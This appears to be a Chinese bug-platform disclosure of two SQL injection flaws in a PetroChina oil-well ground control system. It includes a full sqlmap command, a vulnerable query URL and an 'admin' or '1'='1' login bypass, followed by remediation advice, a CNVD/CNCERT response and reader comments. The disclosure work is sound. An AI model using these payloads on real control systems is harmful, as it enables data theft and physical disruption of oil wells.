工控安全中国石油抽油机地面管控系统SQL注入（可控制大量油井运行或停井）

中国石油的一个“抽油机地面管控平台”两处SQL注入，导致大量数据面临泄露，后台权限丢失。

后台管理权限可操作大量油井工作状态（运行、停井）等。

改系统由“大庆恒通电子股份有限公司”开发

如上系统登陆由手机号和邮箱认证，弱口令无果。

于是发现了两处注入，一处是登陆接口用户名参数注入，另一处是系统后台查询的注入。

1.

sqlmap -u "**.**.**.**:8081/" --data "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE1NzQ3MTc0MTdkZN3i9Dl4j4kVqt4TP60QNBQyw2Z9g0Nw6wk2Rbrj5nAi&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAATvdrImvvf52VSGlVhg3qV5bSRY%2FSd1Soe3bMMt3XikKXY2%2BMc6SrnAqio3oCKbxYainihG6d%2FXh3PZm3b5AoMQEgq%2FaLg7jHBla4dQdibRtbnfWoEB1NhoADvLUltT%2FBE%3D&txtLoginName=asd*&txtPassword=123&btnLogin=%E7%99%BB%E5%BD%95" --is-dba --dbs

2.

**.**.**.**:8081/RealTimeData_SC.aspx?WellName=XFU7-D3-S710

数据库就不深入看了，直接admin' or '1'='1 进入后台

涉及到全国各地的油井

油井的各种数据

最重要的是油井可被控制，停井或运行，没敢乱点..

如上

修复SQL注入

建议这种系统放到内网

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2016-03-03 11:37

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态：

暂无

1. 2016-02-28 01:44 | huoji ( 实习白帽子 | Rank:60 漏洞数:17 | 目标是当个农民)

   1

   这么晚了`该休息了

   1# 回复此人

2. 2016-02-28 08:27 | aaaaty ( 普通白帽子 | Rank:109 漏洞数:33 | 爱情就像，我问服务器whoami，它说root)

   1

   中石油不是注册了嘛，怎么交到cncert了

   2# 回复此人